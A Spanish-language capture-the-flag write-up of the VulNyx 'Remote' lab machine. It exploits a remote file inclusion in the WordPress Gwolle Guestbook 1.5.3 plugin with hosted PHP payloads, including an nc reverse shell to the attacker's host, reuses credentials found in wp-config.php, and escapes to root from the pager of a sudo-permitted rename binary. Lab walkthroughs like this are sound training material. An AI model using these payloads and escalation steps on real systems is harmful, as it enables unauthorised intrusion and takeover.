VulNyx - Remote
- WordPress Plugin Gwolle Guestbook 1.5.3 - (RFI)
- Abusing Remote Binary - Sudo Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.68
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.68
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Al realizar fuerza bruta de directorios encuentro el directorio /wordpress
.
❯ wfuzz -c --hw=31 -w /usr/share/seclists/Discovery/Web-Content/big.txt "http://192.168.1.68/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.68/FUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 403 9 L 28 W 277 Ch ".htaccess"
000000017: 403 9 L 28 W 277 Ch ".htpasswd"
000016220: 403 9 L 28 W 277 Ch "server-status"
000019915: 301 9 L 28 W 316 Ch "wordpress"
Al visitar el nuevo directorio veo la web un poco extraña.
Lanzo curl grepeando por href y encuentro el dominio remote.nyx
.
❯ curl -s http://192.168.1.68/wordpress/ | grep "href"
<link rel='dns-prefetch' href='//remote.nyx' />
Añado remote.nyx
a mi archivo host para ver correctamente la web.
Después de hacer varias pruebas sin tener éxito lanzo nmap usando su scripts NSE para wordpress y encuentro un plugin vulnerable.
❯ nmap -sV --script http-wordpress-enum --script-args http-wordpress-enum.root="/wordpress/",check-latest=true,search-limit=700 remote.nyx -p 80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 13:14 CET
Nmap scan report for remote.nyx (192.168.1.68)
Host is up (0.0010s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-wordpress-enum:
| Search limited to top 700 themes/plugins
| plugins
| akismet 5.2 (latest version:5.3)
|_ gwolle-gb 1.5.3 (latest version:4.6.1)
En Exploit-db encuentro este exploit.
Creo un archivo con el nombre wp-load.php
con el siguiente contenido.
<?php system(id); ?>
Ahora creo un servidor HTTP con python para compartir mi archivo.
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Lanzo curl usando la ruta del exploit apuntando a mi máquina y veo que se ha ejecutado el archivo wp-login.php
.
❯ curl "http://192.168.1.68/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://192.168.1.15/"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sabiendo esto puedo mandarme una shell modificando el archivo wp-login.php
.
<?php system('nc -c /bin/bash 192.168.1.15 4444'); ?>
Lanzo de nuevo curl y obtengo una shell como www-data.
❯ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.15] from remote.nyx [192.168.1.68] 45036
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumerando el sistema encuentro unas credenciales en el archivo wp-config.php
ubicado en /var/www/html/wordpress.
Paso de www-data a tiago utilizando las credenciales encontradas en wp-config.php
.
www-data@remote:/var/www/html/wordpress$ su tiago
Password:
tiago@remote:/var/www/html/wordpress$ id
uid=1000(tiago) gid=1000(tiago) grupos=1000(tiago)
Enumero permisos de sudo.
tiago@remote:~$ sudo -l
Matching Defaults entries for tiago on remote:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tiago may run the following commands on remote:
(root) NOPASSWD: /usr/bin/rename
Lanzo el binario rename con la flag -h para ver la ayuda.
tiago@remote:~$ sudo /usr/bin/rename -h
Me llama la atención la flag -m.
Lanzo rename con la flag -m para ver el “man” de la herramienta.
tiago@remote:~$ sudo /usr/bin/rename -m
Se abre la ventana del manual y abajo a la izquierda escribo !/bin/bash
.
Al pulsar enter obtengo el root.
Y aquí termina la máquina Remote.
Saludos!